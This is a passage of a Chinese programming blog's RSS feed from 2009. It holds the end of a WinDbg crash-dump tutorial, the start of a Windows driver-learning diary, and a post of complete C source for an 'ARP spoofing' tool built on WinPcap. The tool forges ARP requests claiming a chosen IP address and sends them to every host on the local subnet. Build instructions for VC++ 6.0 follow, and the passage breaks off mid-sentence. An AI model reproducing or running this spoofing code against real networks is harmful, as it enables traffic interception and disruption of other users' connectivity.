<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US><span style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">右键单击&#8220;我的电脑&#8221;，选择&#8220;属性&#8221;，弹出&#8220;系统属性&#8221;对话框。选择&#8220;高级&#8221;选项卡，然后在&#8220;启动和故障恢复&#8221;栏内，单击&#8220;设置&#8221;按钮，弹出&#8220;启动和故障恢复&#8221;对话框，在&#8220;系统失败&#8221;栏内，设置写入调试信息，如下图所示。</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><span lang=EN-US><v:shapetype id=_x0000_t75 coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"><v:stroke joinstyle="miter"></v:stroke><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path><o:lock v:ext="edit" aspectratio="t"><img height=497 alt="" src="http://www.cppblog.com/images/cppblog_com/aurain/1.GIF" width=512 border=0></o:lock></v:shapetype></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><span lang=EN-US><img height=487 alt="" src="http://www.cppblog.com/images/cppblog_com/aurain/2.GIF" width=512 border=0></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US>3</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">．使用</span><span lang=EN-US>WinDbg</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">调试工具查看</span><span lang=EN-US>dump</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">信息</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US><span style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Dump</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">信息，必须用专用的工具软件查看，一般使用</span><span lang=EN-US>WinDbg</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">工具，这个需要下载符号表（具体使用参看这篇文章</span><span lang=EN-US><a href="http://www.cppblog.com/aurain/archive/2009/01/04/71138.html"><u><font color=#800080>http://www.cppblog.com/aurain/archive/2009/01/04/71138.html</font></u></a></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">）。</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US><span style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">打开</span><span lang=EN-US>WinDbg</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">软件后，选择菜单&#8220;</span><span lang=EN-US>File|Open Crash Dump</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">&#8221;或&#8220;</span><span lang=EN-US>Ctrl+D</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">&#8221;，然后选择</span><span lang=EN-US>dump</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件，这些文件一般存在在</span><span lang=EN-US>c:\windows\</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">目录下，</span><span lang=EN-US>.dmp</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">格式。打开完毕后，在命令框内输入</span><span lang=EN-US>!analyze &#8211;v</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">后回车，回显示崩溃前内核堆栈调用说明，因此可以分析出是什么地方出了问题。如下图所提示的分析信息：</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US>*******************************************************************************</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US>*<span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>*</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US>*<span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Bugcheck Analysis<span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>*</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US>*<span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>*</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US>*******************************************************************************</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US>DRIVER_UNLOADED_WITHOUT_CANCELLING_PENDING_OPERATIONS (ce)</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US>A driver unloaded without cancelling timers, DPCs, worker threads, etc.</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US>The broken driver's name is displayed on the screen.</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US>Arguments:</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US>Arg1: f76cf820, memory referenced</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US>Arg2: 00000008, value 0 = read operation, 1 = write operation</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US>Arg3: f76cf820, If non-zero, the instruction address which referenced the bad memory</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US><span style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>address.</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US>Arg4: 00000000, Mm internal code.</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US>Debugging Details:</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US>------------------</span></p>
<img src ="http://www.cppblog.com/binghuo/aggbug/76076.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/binghuo/" target="_blank">冰火</a> 2009-03-10 08:48 <a href="http://www.cppblog.com/binghuo/archive/2009/03/10/76076.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>驱动程序开发入门（转自驱动程序开发网） </title><link>http://www.cppblog.com/binghuo/archive/2009/03/10/76075.html</link><dc:creator>冰火</dc:creator><author>冰火</author><pubDate>Tue, 10 Mar 2009 00:42:00 GMT</pubDate><guid>http://www.cppblog.com/binghuo/archive/2009/03/10/76075.html</guid><wfw:comment>http://www.cppblog.com/binghuo/comments/76075.html</wfw:comment><comments>http://www.cppblog.com/binghuo/archive/2009/03/10/76075.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/binghuo/comments/commentRss/76075.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/binghuo/services/trackbacks/76075.html</trackback:ping><description><![CDATA[<p>&nbsp;</p>
&nbsp;
<p><span>近一个多月以来一直在看驱动方面的东西，把马少华翻译的</span><span>Programming the Microsoft Windows Drivers Model</span><span>的第一版算是过了一遍，但一直没有动手写一行代码。每个人的学习方式不同，对于我来说，一样东西如果没有一个框架上的大体把握，就象新到一个城市，一下还找不到方位感，说起一个地方，根本不知道处于自己所在位置的哪个方向，因而相当长的一段时间内会感觉到特别别扭。当然，也只是别扭而已，你知道这需要时间的，时间够了，有些东西会自然地沉积在你的身体里，然后可以不假思索地说出东西南北来，这么多年了，你多少对自己还保留着一点信心吧！呵呵。</span></p>
<p>&nbsp;</p>
<p><span>老马翻译的是第一版，我机器上也有</span><span>Walter Oney</span><span>的第二版（</span><span>E</span><span>文），内容扩充了不少，我曾经试图直接看二版的，东西总要新一些吧。唉！看了一段时间，进度太慢了，</span><span>E</span><span>文的水准还处于边读边翻译的阶段，每句话都要过到脑子里先变成中文再理解，如果看自己已经熟悉的东西，可能还能好点，对于驱动新手来说，很多概念是新的，再这么折腾绕一回，老费劲了。想一想，还是别为难自己了，先对整体框架有了一个大体的把握，回头再看</span><span>E</span><span>文的也行吧。也不记得在哪找到了老马的中文版（好像� </span></p>
<img src ="http://www.cppblog.com/binghuo/aggbug/76075.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/binghuo/" target="_blank">冰火</a> 2009-03-10 08:42 <a href="http://www.cppblog.com/binghuo/archive/2009/03/10/76075.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ARP欺骗源代码（基于WinPcap实现）</title><link>http://www.cppblog.com/binghuo/archive/2009/03/10/76071.html</link><dc:creator>冰火</dc:creator><author>冰火</author><pubDate>Tue, 10 Mar 2009 00:09:00 GMT</pubDate><guid>http://www.cppblog.com/binghuo/archive/2009/03/10/76071.html</guid><wfw:comment>http://www.cppblog.com/binghuo/comments/76071.html</wfw:comment><comments>http://www.cppblog.com/binghuo/archive/2009/03/10/76071.html#Feedback</comments><slash:comments>7</slash:comments><wfw:commentRss>http://www.cppblog.com/binghuo/comments/commentRss/76071.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/binghuo/services/trackbacks/76071.html</trackback:ping><description><![CDATA[<span class=Apple-style-span style="WORD-SPACING: 0px; FONT: 14px/23px 宋体; TEXT-TRANSFORM: none; COLOR: rgb(0,0,0); TEXT-INDENT: 0px; WHITE-SPACE: normal; LETTER-SPACING: normal; BORDER-COLLAPSE: separate; orphans: 2; widows: 2; webkit-border-horizontal-spacing: 0px; webkit-border-vertical-spacing: 0px; webkit-text-decorations-in-effect: none; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0">//ArpCheat.h<span class=Apple-converted-space> </span><br><br>#ifndef MY_ARP_CHEAT_INCLUDE_H<span class=Apple-converted-space> </span><br>#define MY_ARP_CHEAT_INCLUDE_H<span class=Apple-converted-space> </span><br><br>//字节对齐必须是1<span class=Apple-converted-space> </span><br>#pragma pack (1)<span class=Apple-converted-space> </span><br>struct ethernet_head<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>unsigned char dest_mac[6]; //目标主机MAC地址<span class=Apple-converted-space> </span><br>unsigned char source_mac[6]; //源端MAC地址<span class=Apple-converted-space> </span><br>unsigned short eh_type; //以太网类型<span class=Apple-converted-space> </span><br>};<span class=Apple-converted-space> </span><br><br>struct arp_head<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>unsigned short hardware_type; //硬件类型：以太网接口类型为1<span class=Apple-converted-space> </span><br>unsigned short protocol_type; //协议类型：IP协议类型为0X0800<span class=Apple-converted-space> </span><br>unsigned char add_len; //硬件地址长度：MAC地址长度为6B<span class=Apple-converted-space> </span><br>unsigned char pro_len; //协议地址长度：IP地址长度为4B<span class=Apple-converted-space> </span><br>unsigned short option; //操作：ARP请求为1，ARP应答为2<span class=Apple-converted-space> </span><br>unsigned char sour_addr[6]; //源MAC地址：发送方的MAC地址<span class=Apple-converted-space> </span><br>unsigned long sour_ip; //源IP地址：发送方的IP地址<span class=Apple-converted-space> </span><br>unsigned char dest_addr[6]; //目的MAC地址：ARP请求中该字段没有意义；ARP响应中为接收方的MAC地址<span class=Apple-converted-space> </span><br>unsigned long dest_ip; //目的IP地址：ARP请求中为请求解析的IP地址；ARP响应中为接收方的IP地址<br>unsigned char padding[18];<span class=Apple-converted-space> </span><br>};<span class=Apple-converted-space> </span><br><br>struct arp_packet //最终arp包结构<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>ethernet_head eth; //以太网头部<span class=Apple-converted-space> </span><br>arp_head arp; //arp数据包头部<span class=Apple-converted-space> </span><br>};<span class=Apple-converted-space> </span><br>#pragma pack ()<span class=Apple-converted-space> </span><br>/**<span class=Apple-converted-space> </span><br>* 获得网卡的MAC地址<span class=Apple-converted-space> </span><br>* pDevName 网卡的设备名称<span class=Apple-converted-space> </span><br>*/<span class=Apple-converted-space> </span><br>unsigned char* GetSelfMac(char* pDevName);<span class=Apple-converted-space> </span><br>/**<span class=Apple-converted-space> </span><br>* 封装ARP请求包<span class=Apple-converted-space> </span><br>* source_mac 源MAC地址<span class=Apple-converted-space> </span><br>* srcIP 源IP<span class=Apple-converted-space> </span><br>* destIP 目的IP<span class=Apple-converted-space> </span><br>*/<span class=Apple-converted-space> </span><br>unsigned char* BuildArpPacket(unsigned char* source_mac,<span class=Apple-converted-space> </span><br><br>unsigned long srcIP, unsigned long destIP);<span class=Apple-converted-space> </span><br><br><br><br>#endif<span class=Apple-converted-space> </span><br><br><br><br><br><br>//ArpCheat.cpp<span class=Apple-converted-space> </span><br>#include &lt;stdio.h&gt;<span class=Apple-converted-space> </span><br>#include &lt;pcap.h&gt;<span class=Apple-converted-space> </span><br>#include &lt;conio.h&gt;<span class=Apple-converted-space> </span><br>#include &lt;packet32.h&gt;<span class=Apple-converted-space> </span><br>#include &lt;ntddndis.h&gt;<span class=Apple-converted-space> </span><br>#include "ArpCheat.h"<span class=Apple-converted-space> </span><br><br>int main(int argc,char* argv[]){<span class=Apple-converted-space> </span><br>pcap_if_t *alldevs; //全部网卡列表<span class=Apple-converted-space> </span><br>pcap_if_t *d; //一个网卡<span class=Apple-converted-space> </span><br>int inum; //用户选择的网卡序号<span class=Apple-converted-space> </span><br>int i=0; //循环变量<span class=Apple-converted-space> </span><br>pcap_t *adhandle; //一个pcap实例<span class=Apple-converted-space> </span><br>char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区<span class=Apple-converted-space> </span><br>unsigned char *mac; //本机MAC地址<span class=Apple-converted-space> </span><br>unsigned char *packet; //ARP包<span class=Apple-converted-space> </span><br>unsigned long fakeIp; //要伪装成的IP地址<span class=Apple-converted-space> </span><br>pcap_addr_t *pAddr; //网卡地址<span class=Apple-converted-space> </span><br>unsigned long ip; //IP地址<span class=Apple-converted-space> </span><br>unsigned long netmask; //子网掩码<span class=Apple-converted-space> </span><br><br>if(argc!=2){<span class=Apple-converted-space> </span><br>printf("Usage: %s inet_addr\n",argv[0]);<span class=Apple-converted-space> </span><br>return -1;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br><br>//从参数列表获得要伪装的IP地址<span class=Apple-converted-space> </span><br>fakeIp = inet_addr(argv[1]);<span class=Apple-converted-space> </span><br>if(INADDR_NONE==fakeIp){<span class=Apple-converted-space> </span><br>fprintf(stderr,"Invalid IP: %s\n",argv[1]);<span class=Apple-converted-space> </span><br>return -1;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br><br>/* 获得本机网卡列表 */<span class=Apple-converted-space> </span><br>if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &amp;alldevs, errbuf) == -1)<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);<span class=Apple-converted-space> </span><br>exit(1);<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br><br>/* 打印网卡列表 */<span class=Apple-converted-space> </span><br>for(d=alldevs; d; d=d-&gt;next)<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>printf("%d", ++i);<span class=Apple-converted-space> </span><br>if (d-&gt;description)<span class=Apple-converted-space> </span><br>printf(". %s\n", d-&gt;description);<span class=Apple-converted-space> </span><br>else<span class=Apple-converted-space> </span><br>printf(". No description available\n");<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br>//如果没有发现网卡<span class=Apple-converted-space> </span><br>if(i==0)<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>printf("\nNo interfaces found! Make sure WinPcap is installed.\n");<span class=Apple-converted-space> </span><br>return -1;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br>//请用户选择一个网卡<span class=Apple-converted-space> </span><br>printf("Enter the interface number (1-%d):",i);<span class=Apple-converted-space> </span><br>scanf("%d", &amp;inum);<span class=Apple-converted-space> </span><br><br>//如果用户选择的网卡序号超出有效范围，则退出<span class=Apple-converted-space> </span><br>if(inum &lt; 1 || inum &gt; i)<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>printf("\nInterface number out of range.\n");<span class=Apple-converted-space> </span><br>/* Free the device list */<span class=Apple-converted-space> </span><br>pcap_freealldevs(alldevs);<span class=Apple-converted-space> </span><br>return -1;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br><br><br><br><br>/* 移动指针到用户选择的网卡 */<span class=Apple-converted-space> </span><br>for(d=alldevs, i=0; i&lt; inum-1 ;d=d-&gt;next, i++);<span class=Apple-converted-space> </span><br><br>mac = GetSelfMac(d-&gt;name+8); //+8以去掉"rpcap://"<span class=Apple-converted-space> </span><br><br>printf("发送ARP欺骗包，本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n",<span class=Apple-converted-space> </span><br>mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]);<span class=Apple-converted-space> </span><br><br><br><br>/* 打开网卡 */<span class=Apple-converted-space> </span><br>if ( (adhandle= pcap_open(d-&gt;name, // name of the device<span class=Apple-converted-space> </span><br>65536, // portion of the packet to capture<span class=Apple-converted-space> </span><br>0, //open flag<span class=Apple-converted-space> </span><br>1000, // read timeout<span class=Apple-converted-space> </span><br>NULL, // authentication on the remote machine<span class=Apple-converted-space> </span><br>errbuf // error buffer<span class=Apple-converted-space> </span><br>) ) == NULL)<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n",<span class=Apple-converted-space> </span><br>d-&gt;name);<span class=Apple-converted-space> </span><br>/* Free the device list */<span class=Apple-converted-space> </span><br>pcap_freealldevs(alldevs);<span class=Apple-converted-space> </span><br>return -1;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br><br>for(pAddr=d-&gt;addresses; pAddr; pAddr=pAddr-&gt;next){<span class=Apple-converted-space> </span><br>//得到用户选择的网卡的一个IP地址<span class=Apple-converted-space> </span><br>ip = ((struct sockaddr_in *)pAddr-&gt;addr)-&gt;sin_addr.s_addr;<span class=Apple-converted-space> </span><br>//得到该IP地址对应的子网掩码<span class=Apple-converted-space> </span><br>netmask = ((struct sockaddr_in *)(pAddr-&gt;netmask))-&gt;sin_addr.S_un.S_addr;<span class=Apple-converted-space> </span><br>if (!ip || !netmask){<span class=Apple-converted-space> </span><br>continue;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br>//看看这个IP和要伪装的IP是否在同一个子网<span class=Apple-converted-space> </span><br>if((ip&amp;netmask)!=(fakeIp&amp;netmask)){<span class=Apple-converted-space> </span><br>continue; //如果不在一个子网，继续遍历地址列表<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br><br>unsigned long netsize = ntohl(~netmask); //网络中主机数<br><span class=Apple-style-span style="WORD-SPACING: 0px; FONT: 14px/23px 宋体; TEXT-TRANSFORM: none; COLOR: rgb(0,0,0); TEXT-INDENT: 0px; WHITE-SPACE: normal; LETTER-SPACING: normal; BORDER-COLLAPSE: separate; orphans: 2; widows: 2; webkit-border-horizontal-spacing: 0px; webkit-border-vertical-spacing: 0px; webkit-text-decorations-in-effect: none; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0">unsigned long net = ip &amp; netmask; //子网地址<span class=Apple-converted-space> </span><br><br>for(unsigned long n=1; n&lt;netsize; n++){<span class=Apple-converted-space> </span><br>//第i台主机的IP地址，网络字节顺序<span class=Apple-converted-space> </span><br>unsigned long destIp = net | htonl(n);<span class=Apple-converted-space> </span><br>//构建假的ARP请求包，达到本机伪装成给定的IP地址的目的<span class=Apple-converted-space> </span><br>packet = BuildArpPacket(mac,fakeIp,destIp);<span class=Apple-converted-space> </span><br>if(pcap_sendpacket(adhandle, packet, 60)==-1){<span class=Apple-converted-space> </span><br>fprintf(stderr,"pcap_sendpacket error.\n");<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br><br>}<span class=Apple-converted-space> </span><br><br>return 0;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br>/**<span class=Apple-converted-space> </span><br>* 获得网卡的MAC地址<span class=Apple-converted-space> </span><br>* pDevName 网卡的设备名称<span class=Apple-converted-space> </span><br>*/<span class=Apple-converted-space> </span><br>unsigned char* GetSelfMac(char* pDevName){<span class=Apple-converted-space> </span><br><br>static u_char mac[6];<span class=Apple-converted-space> </span><br><br>memset(mac,0,sizeof(mac));<span class=Apple-converted-space> </span><br><br>LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);<span class=Apple-converted-space> </span><br><br>if (!lpAdapter || (lpAdapter-&gt;hFile == INVALID_HANDLE_VALUE))<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>return NULL;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br><br>PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));<span class=Apple-converted-space> </span><br>if (OidData == NULL)<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>PacketCloseAdapter(lpAdapter);<span class=Apple-converted-space> </span><br>return NULL;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br>//<span class=Apple-converted-space> </span><br>// Retrieve the adapter MAC querying the NIC driver<span class=Apple-converted-space> </span><br>//<span class=Apple-converted-space> </span><br>OidData-&gt;Oid = OID_802_3_CURRENT_ADDRESS;<span class=Apple-converted-space> </span><br><br>OidData-&gt;Length = 6;<span class=Apple-converted-space> </span><br>memset(OidData-&gt;Data, 0, 6);<span class=Apple-converted-space> </span><br>BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);<span class=Apple-converted-space> </span><br>if(Status)<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>memcpy(mac,(u_char*)(OidData-&gt;Data),6);<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br>free(OidData);<span class=Apple-converted-space> </span><br>PacketCloseAdapter(lpAdapter);<span class=Apple-converted-space> </span><br>return mac;<span class=Apple-converted-space> </span><br><br>}<span class=Apple-converted-space> </span><br><br>/**<span class=Apple-converted-space> </span><br>* 封装ARP请求包<span class=Apple-converted-space> </span><br>* source_mac 源MAC地址<span class=Apple-converted-space> </span><br>* srcIP 源IP<span class=Apple-converted-space> </span><br>* destIP 目的IP<span class=Apple-converted-space> </span><br>*/<span class=Apple-converted-space> </span><br>unsigned char* BuildArpPacket(unsigned char* source_mac,<span class=Apple-converted-space> </span><br>unsigned long srcIP,unsigned long destIP)<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>static struct arp_packet packet;<span class=Apple-converted-space> </span><br><br>//目的MAC地址为广播地址，FF-FF-FF-FF-FF-FF<span class=Apple-converted-space> </span><br>memset(packet.eth.dest_mac,0xFF,6);<span class=Apple-converted-space> </span><br>//源MAC地址<span class=Apple-converted-space> </span><br>memcpy(packet.eth.source_mac,source_mac,6);<span class=Apple-converted-space> </span><br>//上层协议为ARP协议，0x0806<span class=Apple-converted-space> </span><br>packet.eth.eh_type = htons(0x0806);<span class=Apple-converted-space> </span><br><br>//硬件类型，Ethernet是0x0001<span class=Apple-converted-space> </span><br>packet.arp.hardware_type = htons(0x0001);<span class=Apple-converted-space> </span><br>//上层协议类型，IP为0x0800<span class=Apple-converted-space> </span><br>packet.arp.protocol_type = htons(0x0800);<span class=Apple-converted-space> </span><br>//硬件地址长度：MAC地址长度为0x06<span class=Apple-converted-space> </span><br>packet.arp.add_len = 0x06;<span class=Apple-converted-space> </span><br>//协议地址长度：IP地址长度为0x04<span class=Apple-converted-space> </span><br>packet.arp.pro_len = 0x04;<span class=Apple-converted-space> </span><br>//操作：ARP请求为1<span class=Apple-converted-space> </span><br>packet.arp.option = htons(0x0001);<span class=Apple-converted-space> </span><br>//源MAC地址<span class=Apple-converted-space> </span><br>memcpy(packet.arp.sour_addr,source_mac,6);<span class=Apple-converted-space> </span><br>//源IP地址<span class=Apple-converted-space> </span><br>packet.arp.sour_ip = srcIP;<span class=Apple-converted-space> </span><br>//目的MAC地址，填充0<span class=Apple-converted-space> </span><br>memset(packet.arp.dest_addr,0,6);<span class=Apple-converted-space> </span><br>//目的IP地址<span class=Apple-converted-space> </span><br>packet.arp.dest_ip = destIP;<span class=Apple-converted-space> </span><br>//填充数据，18B<span class=Apple-converted-space> </span><br>memset(packet.arp.padding,0,18);<span class=Apple-converted-space> </span><br><br>return (unsigned char*)&amp;packet;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br><br>VC++ 6.0 中使用WinPcap<span class=Apple-converted-space> </span><br>下载并安装WinPcap，安装之后在目录&#8221;C:\WINDOWS\system32&#8220;下WinPcap添加了Packet.dll、wpcap.dll。<span class=Apple-converted-space> </span><br>增加WinPcap的include和lib路径：<span class=Apple-converted-space> </span><br>Tools&#8594;Options&#8594;Directories，其中include文件的路径增加WinPcap的include路径（其中有pcap.h等头文件），library文件的路径增加WinPcap的lib路径（其中有Packet.lib和wpcap.lib）。<span class=Apple-converted-space> </span><br>增加项目的静态链接库：<span class=Apple-converted-space> </span><br>Project&#8594;Settings&#8594;Link&#8594;Object/library Modules，在文本框的末尾添加&#8221;wpcap.lib packet.lib 